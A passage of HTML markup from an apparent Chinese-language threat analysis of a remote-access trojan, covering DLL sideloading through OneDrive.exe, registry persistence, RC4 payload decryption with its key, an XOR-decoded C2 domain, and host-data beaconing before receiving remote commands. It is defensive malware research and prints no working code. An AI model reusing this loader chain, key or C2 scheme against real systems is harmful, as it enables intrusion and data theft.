data-nest-level="15">Dll</span></span></span></p></td></tr></tbody></table></p></div></div></div></div></div></div></div><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalm14u3" data-nest-level="3"><span mpa-font-style="mo1adudv1eav" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">当OneDrive.exe进程被运行并传入“/RuntimeWide”参数后，则会执行LockDependentFiles函数，该函数主要用于加载恶意的mscorsvc.dll文件。</span></span></p><p data-mpa-md-key="common" style="margin: 16px 0px;font-size: 15px;color: rgb(51, 51, 51);" data-nest-level="3"><span style="height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="5"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6672950047125353" data-w="1061" style="width: 552.81px;height: 368.87px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=38a4fb48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJI3plzxIqM9LAI7VJ6Bm0XSznRJgsrLiac99p1FaybZpLywBVibd5kUqictc9y1VbappLMRrxDNdJK1pGBE4GiavdkfL5IgTyx3XU%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalmqvc" data-nest-level="3"><span mpa-font-style="mo1adudv1yvh" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">会执行该dll的名为“CorInitSvcLogger”函数，开始会动态获取函数的地址，以便后续程序调用。</span></span></p><p data-mpa-md-key="common" style="margin: 16px 0px;font-size: 15px;color: rgb(51, 51, 51);" data-nest-level="3"><span style="height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="5"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3985171455050973" data-w="1079" style="width: 553.54px;height: 220.6px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=569a54ec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXK5zQExUD1NWHqg9H8eHJ8P41OFRPqfAYkdicN4lQ1QiaHUmHwJpKXM9YQhJDWib6lETnZ0R226kcNb0iburPNnUxASXib1BknVS6A0%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalnssm" data-nest-level="3"><span mpa-font-style="mo1adudvu7b" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">接着检查OneDrive.exe进程是否在特定的目录下：</span></span></p><div data-nest-level="3"><div data-nest-level="4"><div data-nest-level="5"><div data-nest-level="6"><div data-nest-level="7"><div data-nest-level="8"><div data-nest-level="9"><p data-nest-level="10"><table style="width: 553px;"><tbody><tr><td data-colwidth="553" width="553" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">C:\PROGRAMDATA</span></span></span></p></td></tr><tr><td data-colwidth="553" width="553" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">C:\PROGRAM FILES</span></span></span></p></td></tr><tr><td data-colwidth="553" width="553" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">C:\PROGRAM FILES (X86)\APPDATA\</span></span></span></p></td></tr><tr><td data-colwidth="553" width="553" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15" data-mpa-action-id="mrvj0aega82"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">C:\WINDOWS</span></span></span></p></td></tr></tbody></table></p></div></div></div></div></div></div></div><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acaln169u" data-nest-level="3"><span mpa-font-style="mo1adudv1opu" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">然后将该进程写入注册表，进行持久化操作。</span></span></p><p data-mpa-md-key="common" style="margin: 16px 0px;font-size: 15px;color: rgb(51, 51, 51);" data-nest-level="3"><span style="height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="5"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5393586005830904" data-w="1029" style="width: 553.61px;height: 298.6px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=422a4562&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLqLvVPg6vzvjHWRJIxkjZicYJVG8lVp1DcaJicwc7qzBSIaJaPPdnyahPu76Isp34Sr7p4h1MNaUeYacNoClJKPAyicrtqjwibFxw%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acaln7oi" data-nest-level="3"><span mpa-font-style="mo1adudv9h8" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">打开当前目录下的system32.dll文件，并将其读取至内存，该文件为核心载荷的加密数据。接着对其进行解密操作，调用SystemFunction032函数进行RC4解密，解密密钥为：“boikztaigkuneapfvpesuabfmpxgwnad”。解密后是一段shellcode代码为此次攻击的核心载荷。</span></span></p><p data-mpa-md-key="common" style="margin: 16px 0px;font-size: 15px;color: rgb(51, 51, 51);" data-nest-level="3"><span style="height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="5"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3112244897959184" data-w="980" style="width: 553.74px;height: 172.34px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=58e4ac80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXK5kx0MkZPfTAr98WD2W5ibtVexQJBWPFlxepSkjuibuI5tOiaYb5gricPNBHgOD7RAScqcI2JxdQib14UZ3bTQnBR6mHk1IQPJzgv4%2F640%3Fwx_fmt%3Dpng"/><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2857886517438834" data-w="1921" style="width: 553.28px;height: 158.14px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=455e3609&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIftbXmMdLfNmFt95NSY3zk1wI1VVPlrwy80fUxbFqB5hvnQUfoGwS89SuzHB1XCXyU5ALmJWTjP3k8WFMtfslUvGTMaej1Oek%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p data-mpa-md-key="common" style="margin: 16px 0px;font-size: 15px;color: rgb(51, 51, 51);" data-nest-level="3"><span style="height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="5"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3791208791208791" data-w="910" style="width: 553.28px;height: 209.74px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=66370c6c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJsB479QnU8mMfOBGH5ABZyJwqDB9NXI1q7DV2ib1bia7QPMe0eSetUa8uD8lmu4OkORibCG8gYcOG8licKybPMzZicZnZScdGTYKibo%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p data-mpa-md-key="common" style="margin: 16px 0px;font-size: 15px;color: rgb(51, 51, 51);" data-nest-level="3"><span style="height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="5"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2857886517438834" data-w="1921" style="width: 553.28px;height: 158.14px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=455e3609&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIftbXmMdLfNmFt95NSY3zk1wI1VVPlrwy80fUxbFqB5hvnQUfoGwS89SuzHB1XCXyU5ALmJWTjP3k8WFMtfslUvGTMaej1Oek%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalnlaa" data-nest-level="3"><span mpa-font-style="mo1adudv17zd" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">核心载荷执行后首先会动态获取函数地址，该操作可有效地增加静态分析的分析难度，接着执行主要功能，该木马主要功能则是获取用户信息上传后，等待服务器指令，实现了远程远程控制的功能。</span></span></p><p data-mpa-md-key="common" style="margin: 16px 0px;font-size: 15px;color: rgb(51, 51, 51);" data-nest-level="3"><span style="height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="5"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1762322754895341" data-w="1481" style="width: 552.41px;height: 97.33px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=c61e8091&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJhTND80jz0HF1lo6eFFtZW54t0iaK56rJAYAPPicdd66PngZ2ibtCibfcYicXBsVXYAibywMS1Vh4mOJt9OhDhFdjsBTic89ohEUaL7M%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalnc3d" data-nest-level="3"><span mpa-font-style="mo1adudv18c8" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">样本中的加密字符通过异或算法进行解密，字符串解密后C2地址为 www.gov-pk.workers[.]dev。</span></span></p><p data-mpa-md-key="common" style="margin: 16px 0px;font-size: 15px;color: rgb(51, 51, 51);" data-nest-level="3"><span style="height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="5"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8509316770186336" data-w="805" style="width: 553.08px;height: 470.61px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=ecf21126&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJf1oPAyz65YSJdqeBcibuv7loKtWW5fD4jgtk2IDkoCicBJf2ib9QCuhqlt8FUB6UzibK9BfOaT35ngib5UtwsCW4kOgOwZcRZfHkA%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acaln1154" data-nest-level="3"><span mpa-font-style="mo1adudvmp3" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">接着获取受害用户的敏感信息作为上线包，主要获取计算机名、用户名、进程ID、时间、版本等，与device_id、computer_name、user_name等字段拼接成一个JSON格式的字符串，并写入到指定的内存缓冲区中。</span></span></p><p data-mpa-md-key="common" style="margin: 16px 0px;font-size: 15px;color: rgb(51, 51, 51);" data-nest-level="3"><span style="height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="5"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.25098039215686274" data-w="1530" style="width: 552.34px;height: 138.6px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=8c7c3eca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXK2Bibqn9pfIhicZ0KicQic6SAO6GBu6EBc3liaTzScZWhR5zlW88JaMEfx5xxXgOYgqHa3LyP8nMvpFFenfHjFD0xzDESFpBpAHHNs%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalo8xf" data-nest-level="3"><span mpa-font-style="mo1adudv1zgz" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">连接服务器将收集的信息格式化为json格式后上传，上线包的url路径为/beta/deviceManagement/managedDevices。</span></span></p><p data-mpa-md-key="common" style="margin: 16px 0px;font-size: 15px;color: rgb(51, 51, 51);" data-nest-level="3"><span style="height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="5"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.20986547085201793" data-w="1115" style="width: 553.08px;height: 116.07px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=1505c1c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJ5XZMvnozeS2FUy5ajLVib5galaMGb8FkXzEzGWE7SLBa7Tun6aFY3icubHCK6NicPIsLwOGMta8PLpib2bQEUSU1iaDB5WTfaQRtY%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p data-mpa-md-key="common" style="margin: 16px 0px;font-size: 15px;color: rgb(51, 51, 51);" data-nest-level="3"><span style="height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="5"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.16551724137931034" data-w="1305" style="width: 553.34px;height: 91.6px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=2401f4ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXIEnVtZVY6Kfo4ib1w5Pbl9ibxD3w96SvqryzibttT1bWXrN9HYjppJwKRYCKPHX28qaECJfC8FHZVyzakqZeKpx4LqIIvticNHzbs%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalo1wlq" data-nest-level="3"><span mpa-font-style="mo1adudv1xac" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">接着等待服务器发送远控指令执行，指令为json格式。</span></span></p><p data-mpa-md-key="common" style="margin: 16px 0px;font-size: 15px;color: rgb(51, 51, 51);" data-nest-level="3"><span style="height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="5"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8087954110898662" data-w="1046" style="width: 553.34px;height: 447.54px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=ccd56a31&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJUtTJwUx0GhwwB9fbAjyGQWGn9eO96LgVjicFvXvTdd55usNzianyI3C0vYibUXcic7XiarYgLpaicfENyicobMoRa7P42e6rKL8FT00%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><div data-nest-level="3"><div data-nest-level="4"><div data-nest-level="5"><div data-nest-level="6"><div data-nest-level="7"><div data-nest-level="8"><div data-nest-level="9"><p data-nest-level="10"><table style="width:508px;"><tbody><tr><td data-colwidth="231" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, 